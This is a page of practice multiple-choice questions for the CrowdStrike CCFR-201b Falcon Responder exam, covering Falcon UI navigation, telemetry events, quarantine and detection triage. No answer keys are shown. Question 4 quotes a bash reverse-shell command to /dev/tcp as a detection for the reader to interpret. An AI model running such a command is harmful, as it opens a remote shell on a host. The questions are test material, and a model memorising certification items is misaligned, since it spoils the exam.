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Free Practice Questions for the CrowdStrike CCFR CCFR-201b Exam (2026 Updated)

At Marks4sure, we are dedicated to providing IT professionals with the most accurate and reliable preparation materials for the CrowdStrike CCFR-201b exam. To support your certification journey, we have made a selection of our premium 2026 CCFR practice questions and answers available completely free. You can take this practice test as many times as you need. Every question includes a detailed, expertly verified explanation to ensure you fully grasp the core security concepts before test day.

Questions 4

Refer to the image.

Command line:

/bin/bash -c sh -i > & /dev/tcp/172.17.0.21/4444 0 > & 1

File path:

/bin/bash

You receive a detection on the Bash process indicating the command line in the image above.

Based on the command line, what is the next step you should take?

Options:

A.

Investigate the host for manipulation of the root folder

B.

Investigate the host for any Potentially Unwanted Programs (PUP)

C.

Investigate the host for an interactive remote terminal

D.

Investigate the host for developer activity

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Questions 5

An administrator needs to download a file for analysis that was blocked by the sensor. Where are quarantine files located within the Falcon UI?

Options:

A.

Investigate > Quarantine

B.

Endpoint Security > Monitor > Quarantined Files

C.

Configuration > Response > Quarantine

D.

Dashboards > Security > Quarantine

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Questions 6

While examining the ' Process Details ' sidebar of a detection, a responder sees the following icons: " 25 Network Operations " and " 277 Disk Operations " . What does this contextual data represent?

Options:

A.

The percentage of the CPU being consumed by the network and disk.

B.

The specific number of telemetry events recorded for network and disk activity by that process.

C.

The total size in megabytes of the data sent over the network and written to disk.

D.

The number of other hosts that have seen similar network and disk activity.

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Questions 7

While most searches are accessible from a detection, some require a manual jump. Which search is not available as a direct pivot from a detection?

Options:

A.

Host Search

B.

Hash Search

C.

User Search

D.

IP Search

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Questions 8

In the ' User Search - File Written ' section, a responder can see various files dropped by a user. Which of the following file types CANNOT be seen from this view?

Options:

A.

Scripts (.ps1, .sh)

B.

Executables (.exe)

C.

Executions (Process starts)

D.

Archive files (.zip, .7z)

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Questions 9

CrowdStrike implements a specific framework within the Falcon console to help responders categorize detections based on the adversary’s ultimate goals and the technical means used to achieve them. This classification system, which maps activity to known industry standards, is known as the:

Options:

A.

MITRE-Based Falcon Detections Framework

B.

Falcon Adversary Attribution and Motivation Matrix

C.

Unified Behavioral Threat Hunting Schema

D.

CrowdStrike Intelligence Lifecycle Mapping

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Questions 10

A responder decides to set a specific Custom IOA to the ' Monitor ' action. Which of the following sentences best describes the technical result of this choice?

Options:

A.

The sensor will block the activity and alert the user with a pop-up.

B.

The sensor will create detections with ' Informational ' severity but will not block the activity.

C.

The sensor will log the activity in the audit logs but will not generate a detection.

D.

The sensor will automatically isolate the host from the network.

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Questions 11

Evaluate the following process tree observed in a detection:

root > smss.exe > winlogon.exe > userinit.exe > explorer.exe > windows_media_player_y35s21-4ak.exe

Based on the parent-child relationships, which entry source is most likely?

Options:

A.

A remote service exploitation targeting a system process.

B.

A phishing attack where the user executed a malicious file from the desktop.

C.

A scheduled task running under the SYSTEM account.

D.

A supply chain attack targeting the Windows Boot manager.

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Questions 12

The Falcon sensor is designed to provide deep visibility into endpoint activity, yet it is not omniscient. According to the Cyber Kill Chain model, which of the following stages does the Falcon sensor typically NOT have visibility over?

Options:

A.

Exploitation of a memory-resident vulnerability

B.

Installation of a persistent backdoor

C.

Weaponization of a malicious payload on the adversary ' s infrastructure

D.

Delivery of a malicious document via an encrypted email attachment

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Questions 13

A responder is analyzing a process tree where a suspicious executable is listed as a direct child of services.exe. In this scenario, which source is most likely responsible for the execution?

Options:

A.

An interactive user login via RDP.

B.

A Windows Service or a process launched by the Service Control Manager.

C.

A web browser download initiated by the end user.

D.

A script executed directly from a removable USB drive.

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Questions 14

When looking at the details of a detection, there are two fields called Global Prevalence and Local Prevalence. Which answer best defines Local Prevalence?

Options:

A.

Local prevalence is the frequency with which the hash of the triggering file is seen across the entire Internet

B.

Local Prevalence tells you how common the hash of the triggering file is within your environment (CID)

C.

Local Prevalence is the Virus Total score for the hash of the triggering file

D.

Local prevalence is the frequency with which the hash of the triggering file is seen across all CrowdStrike customer environments

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Questions 15

When a responder is looking at the ' Full Detection Details ' page, they can toggle between several views. Which of the following is NOT a layout option available for viewing these details?

Options:

A.

Graph View

B.

Tree View

C.

Process Timeline

D.

List View

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Questions 16

When is a SyntheticProcessRollup2 event type found?

Options:

A.

When events are combined with analyst-found contextual information

B.

When events are updated manually by the OverWatch team

C.

When events are recorded with Charlotte AI interactions

D.

When events are generated for a process that started before the sensor

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Questions 17

You are notified by a third-party that a program may have redirected traffic to a malicious domain. Which Falcon page will assist you in searching for any domain request information related to this notice?

Options:

A.

Falcon X

B.

Investigate

C.

Discover

D.

Spotlight

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Questions 18

A responder wants to verify why a certain quarantined file was not uploaded to the cloud. Which specific policy dictates whether quarantined files are permitted to be uploaded?

Options:

A.

Sensor Update Policy

B.

Prevention Policy

C.

Response Policy

D.

Quarantine Management Policy

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Questions 19

A responder has identified a suspicious PowerShell script executing on a domain controller. To perform a deep-dive forensic analysis of every action taken by that specific process—including network connections and file modifications—the analyst needs to pivot to a Process Timeline. What is the absolute minimum telemetry data required to generate this auto-filled view?

Options:

A.

Agent ID (AID) and Local IP Address

B.

Agent ID (AID) and Target Process ID (TargetProcessId_decimal)

C.

Hostname and MAC Address

D.

User SID and SHA256 Hash

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Questions 20

A responder is explaining the quarantine process to a system administrator. What happens technically when a file is quarantined by the Falcon sensor?

Options:

A.

It is deleted from the disk and a log is sent to the cloud.

B.

It is moved to the CrowdStrike Cloud and removed from the local host immediately.

C.

It is compressed, password protected, and moved to the Quarantine folder on the endpoint.

D.

It is renamed to a .tmp extension and moved to the Windows Recycle Bin.

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Questions 21

Refer to the image.

CCFR-201b Question 21

In the Full Detection View while viewing the Process Tree you see an attack outlined as in the image above.

Based on what you see, what happened during the attack?

Options:

A.

The attacker launched a command prompt, renamed binaries, executed malware, and prepared exfiltration

B.

The attacker launched a command prompt to establish a reverse shell to grant remote code execution capabilities

C.

The attacker executed malware, renamed binaries, prepared exfiltration, and deleted backups to prevent recovery

D.

The attacker launched a command prompt, enumerated the host, created persistence, and deleted backups to prevent recovery

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Questions 22

What is the difference between a Host Search and a Host Timeline?

Options:

A.

Results from a Host Search return information in an organized view by type, while a Host Timeline returns a view of all events recorded by the sensor

B.

A Host Timeline only includes process execution events and user account activity

C.

Results from a Host Timeline include process executions and related events organized by data type. A Host Search returns a temporal view of all events for the given host

D.

There is no difference - Host Search and Host Timeline are different names for the same search page

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Questions 23

When performing a ' Hash Search ' , which of the following is NOT a filter available for use?

Options:

A.

SHA256

B.

MD5

C.

File Type

D.

Filename

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Questions 24

When an analyst is trying to pinpoint the exact moment an endpoint came online after being shut down for the weekend, which timeline view is the best to use?

Options:

A.

Process Timeline

B.

Host Timeline

C.

User Timeline

D.

Network Timeline

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Questions 25

An analyst needs to quickly view the activity surrounding a suspicious process. Which of the following sequences of steps will pivot to an auto-filled process timeline in the Falcon UI?

Options:

A.

Host Search > Processes and Services > Filename > Start Time > Process ID

B.

Activity Dashboard > Click Detection > Export to PDF

C.

Investigate > Bulk Search > Enter SHA256 > View Results

D.

Configuration > Host Groups > Select Host > Network History

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Questions 26

What information is contained within a Process Timeline?

Options:

A.

All cloudable process-related events within a given timeframe

B.

All cloudable events for a specific host

C.

Only detection process-related events within a given timeframe

D.

A view of activities on Mac or Linux hosts

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Questions 27

While reviewing the high-level organizational structure of a complex detection in the Falcon console, a responder identifies several layers of activity. Which of the following is NOT officially recognized as an Objective Layer within the CrowdStrike detection hierarchy?

Options:

A.

Contact Controlled Systems

B.

Lateral Movement

C.

Gain Access

D.

Follow Through

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Questions 28

Following a detection involving a suspected ransomware binary, the Falcon sensor automatically takes a prevention action to prevent the file from executing. An analyst needs to retrieve this file for local sandbox analysis. Considering the default configuration, for how many days will this file remain stored in the encrypted quarantine folder on the local endpoint?

Options:

A.

7 days

B.

14 days

C.

30 days

D.

90 days

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Questions 29

A SOC Manager is reviewing the monthly efficiency of the incident response team. They are specifically analyzing how many alerts were handled by each individual analyst and the ratio of legitimate threats to noise to optimize staffing levels. While navigating the Detection Resolutions Dashboard, which of the following metrics would they NOT find, as it is primarily located within the Activity or Executive summary dashboards?

Options:

A.

Detections by user (Analyst performance)

B.

Total Detections by Host

C.

Total count of False Positives

D.

Detection resolution status breakdown

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Questions 30

On the Host Timeline dashboard, what built-in parameter would you modify in order to filter specific events in the timeline?

Options:

A.

#event_timelineName

B.

#event_Name

C.

#event_simpleName

D.

#event_simpleType

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Questions 31

You are writing a script that your colleagues could run on any Windows machine using Real Time Response (RTR). The script you have written is over the 40-KB limit.

How should you run the script to avoid technical issues?

Options:

A.

Use the put command to place the script on the host and runscript -hostpath to run the script

B.

Break the script into multiple files under 40 KB and run each one sequentially with runscript -raw

C.

Use the put command to place the script on the host and runscript -cloudfile to run the script

D.

Use the runscript -cloudfile command to upload the script from your local machine and execute it directly

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Questions 32

An executive asks for a definition of ' CrowdScore ' . Which of the following sentences best describes what CrowdScore is?

Options:

A.

It is a ranking system that compares your organization’s security to other companies.

B.

It is a metric designed to show an organization ' s threat level on a continual basis by aggregating related detections.

C.

It is the total number of detections that have been resolved within the last 24 hours.

D.

It is a measure of the total processing power being used by the Falcon sensors globally.

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Questions 33

Which of the following statements about the ' Hash Search ' (Single Search) is TRUE?

Options:

A.

It can search for both files and registry keys simultaneously.

B.

It identifies the geographical location of the file ' s creator.

C.

The ' Hash Written History ' section is only available for SHA256 hashes.

D.

It is primarily used to isolate a host from the network.

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Questions 34

Which specific event type in the Falcon telemetry is associated with the creation of a new ' TargetProcessId_decimal ' ?

Options:

A.

ProcessRollup2

B.

FileCreation

C.

NetworkConnect

D.

RegistryUpdate

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Questions 35

By default, when a file is quarantined by the Falcon sensor to prevent execution, how many days does that file remain on the host ' s local disk?

Options:

A.

7 days

B.

14 days

C.

30 days

D.

90 days

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Questions 36

During a targeted investigation into a potentially compromised internal administrative account, a responder utilizes the User Search functionality within the Investigate menu. The goal is to identify if the account was leveraged to drop or launch unauthorized binaries across multiple systems in the environment. Which specific data category is natively visible in the User Search results to facilitate this check?

Options:

A.

Registry Key Operations

B.

Network File Transfer ports

C.

Unique Executables Written and Process Executions

D.

BIOS and Hardware modification logs

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Questions 37

What is an advantage of using the IP Search tool?

Options:

A.

IP searches provide manufacture and timezone data that can not be accessed anywhere else

B.

IP searches allow for multiple comma separated IPv6 addresses as input

C.

IP searches offer shortcuts to launch response actions and network containment on target hosts

D.

IP searches provide host, process, and organizational unit data without the need to write a query

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Questions 38

The User Search results are organized into several categories. Which of the following is NOT a sub-heading in the User Search?

Options:

A.

User Logons

B.

Unique Executables Written

C.

Admin tool usage

D.

Network Connections

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Questions 39

A list of managed and unmanaged neighbors for an endpoint can be found:

Options:

A.

by using Hosts page in the Investigate tool

B.

by reviewing " Groups " in Host Management under the Hosts page

C.

under " Audit " by running Sensor Visibility Exclusions Audit

D.

only by searching event data using Event Search

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Questions 40

What is the difference between Managed and Unmanaged Neighbors in the Falcon console?

Options:

A.

A managed neighbor is currently network contained and an unmanaged neighbor is uncontained

B.

A managed neighbor has an installed and provisioned sensor

C.

An unmanaged neighbor is in a segmented area of the network

D.

A managed sensor has an active prevention policy

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Questions 41

During the triage of a detection involving a newly created persistent task, which specific indicator is most important for a responder to identify the actual intent of the service?

Options:

A.

The total CPU usage of the parent process.

B.

The command-line arguments used during the task creation.

C.

The Agent ID (AID) of the host where the detection fired.

D.

The physical location of the endpoint in the office.

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Questions 42

Aside from a Process Timeline or Event Search, how do you export process event data from a detection in .CSV format?

Options:

A.

You can ' t export detailed event data from a detection, you have to use the Process Timeline or an Event Search

B.

In Full Detection Details, you expand the nodes of the process tree you wish to expand and then click the " Export Process Events " button

C.

In Full Detection Details, you choose the " View Process Activity " option and then export from that view

D.

From the Detections Dashboard, you right-click the event type you wish to export and choose CSV. JSON or XML

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Questions 43

Within the MITRE-Based Falcon Detections Framework, what is the correct way to interpret Keep Access > Persistence > Create Account?

Options:

A.

An adversary is trying to keep access through persistence by creating an account

B.

An adversary is trying to keep access through persistence using browser extensions

C.

An adversary is trying to keep access through persistence using external remote services

D.

adversary is trying to keep access through persistence using application skimming

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Questions 44

A responder wants to include a visual representation of a process tree in an incident report. Which of the following is NOT a valid way to export process data from ' Full Detection Details ' ?

Options:

A.

Process Tree > PNG

B.

Process Tree > JPEG

C.

Detection > CSV

D.

Process Tree > JSON

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Questions 45

Falcon uses specific identifiers to track processes across the environment. Which of the following sentences best describes what the ' TargetProcessId_decimal ' raw data represents?

Options:

A.

The standard Process ID (PID) assigned by the Windows operating system.

B.

A sensor-assigned decimal number that is unique for each process across time and hosts.

C.

The memory address where the process’s executable is loaded.

D.

The total number of seconds the process has been running.

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Questions 46

Which of the following sentences best describes the primary use of the ' Hash Executions ' Search (Bulk Search)?

Options:

A.

It allows a responder to upload a file to the cloud for detonating in a sandbox.

B.

It allows for a summary view of the environment-wide presence of a given list of multiple hashes.

C.

It allows an administrator to block a single hash across all machines.

D.

It provides a detailed process tree for every execution of a single hash.

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Questions 47

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CCFR-201b Question 47

You receive the detection displayed in the image above on a host in your environment.

Assuming you have the correct permissions, where would you navigate to remotely connect to the host and investigate further?

Options:

A.

Investigate > Connect to host

B.

View Incident > Connect to host

C.

Actions > Connect to host

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Questions 48

An analyst is triaging a detection that has been categorized under the ‘Follow Through’ Objective Layer. Based on the Falcon technical documentation, which of the following adversary tactics is most likely to be observed within this specific layer?

Options:

A.

Credential Access through memory scraping

B.

Collection of sensitive data for exfiltration

C.

Initial Access via a drive-by download

D.

Discovery of local network shares and services

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Questions 49

In various telemetry events like ' FileWrite ' or ' NetworkConnect ' , Falcon identifies the process that performed the action. Which field will always identify this " acting " process?

Options:

A.

ContextProcessId_decimal

B.

TargetProcessId_decimal

C.

ParentProcessId_decimal

D.

OwnerProcessId_decimal

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Questions 50

Which of the following statements about the ' Detection Activity ' report is FALSE?

Options:

A.

It provides a summary of all alerts over a selected time period.

B.

It can be filtered by host name or severity.

C.

Clicking on a ProcessID value within the report pivots to a pre-populated Event Search.

D.

The report can be exported to a CSV file.

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Questions 51

The Process Activity View provides a rows-and-columns style view of the events generated in a detection. Why might this be helpful?

Options:

A.

The Process Activity View creates a consolidated view of all detection events for that process that can be exported for further analysis

B.

The Process Activity View will show the Detection time of the earliest recorded activity which might indicate first affected machine

C.

The Process Activity View only creates a summary of Dynamic Link Libraries (DLLs) loaded by a process

D.

The Process Activity View creates a count of event types only, which can be useful when scoping the event

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Questions 52

After running an Event Search, you can select many Event Actions depending on your results. Which of the following is NOT an option for any Event Action?

Options:

A.

Draw Process Explorer

B.

Show a +/- 10-minute window of events

C.

Show a Process Timeline for the responsible process

D.

Show Associated Event Data (from TargetProcessld_decimal or ContextProcessld_decimal)

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Questions 53

An analyst needs to perform local sandbox analysis on a malicious file. When they download a quarantined file from the Falcon UI, what is the file format and the default password?

Options:

A.

.zip, password: crowdstrike

B.

.7-zip, password: infected

C.

.rar, password: malware

D.

.exe, no password

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Questions 54

A responder needs to view a high-level overview of the environment ' s security posture. Where can they find the ' Activity Dashboard ' ?

Options:

A.

Investigate > Activity Dashboard

B.

Endpoint Security > Monitor > Activity Dashboard

C.

Configuration > General > Activity Dashboard

D.

Support > Analytics > Activity Dashboard

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Questions 55

You are concerned that a compromised user may have run multiple malicious commands across multiple hosts.

What information from Investigate > Search > Users will help you quickly find evidence of this behavior?

Options:

A.

Detect history

B.

User logon activities

C.

File-transfer port activities

D.

Admin tool usage

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Questions 56

When using ' User Search ' to investigate a potentially compromised account, which of the following is NOT a filter available in the User Search?

Options:

A.

Username

B.

Hostname

C.

Process ID

D.

Time Range

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Questions 57

Executive dashboards provide a high-level view of security. Which of the following CANNOT be seen from the Executive Summary Dashboard?

Options:

A.

Detections broken down by Tactic.

B.

A breakdown of Agent Versions across the fleet.

C.

The top 10 hosts with the most detections.

D.

The organization’s current CrowdScore trend.

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Questions 58

When investigating system-level persistence, it is critical to know what the services.exe process is responsible for. What is its primary function?

Options:

A.

Managing user profiles and registry hives during login.

B.

Launching and managing the lifecycle of system services.

C.

Monitoring network traffic for potential data exfiltration.

D.

Providing a graphical interface for the Windows Task Manager.

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Questions 59

What happens when a hash is allowlisted?

Options:

A.

Execution is prevented, but detection alerts are suppressed

B.

Execution is allowed on all hosts, including all other Falcon customers

C.

The hash is submitted for approval to be allowed to execute once confirmed by Falcon specialists

D.

Execution is allowed on all hosts that fall under the organization ' s CID

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Questions 60

What is the required minimum PowerShell version on a Windows host system to utilize Real Time Response (RTR)?

Options:

A.

PowerShell 3.0

B.

PowerShell 2.0

C.

PowerShell 3.5

D.

PowerShell 4.5

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Questions 61

Which of the following is NOT a valid event type?

Options:

A.

StartofProcess

B.

EndofProcess

C.

ProcessRollup2

D.

DnsRequest

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Questions 62

Responders must understand the limitations and capabilities of custom rules. Which of the following statements about custom IOAs is FALSE?

Options:

A.

They can be used to monitor or block specific command-line strings.

B.

A Custom IOA rule group can only be applied to one single prevention policy.

C.

They can generate ' Informational ' detections if set to the ' Monitor ' action.

D.

They allow for pattern matching using wildcards or specific strings.

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Exam Code: CCFR-201b
Exam Name: CrowdStrike Certified Falcon Responder
Last Update: Jul 25, 2026
Questions: 209

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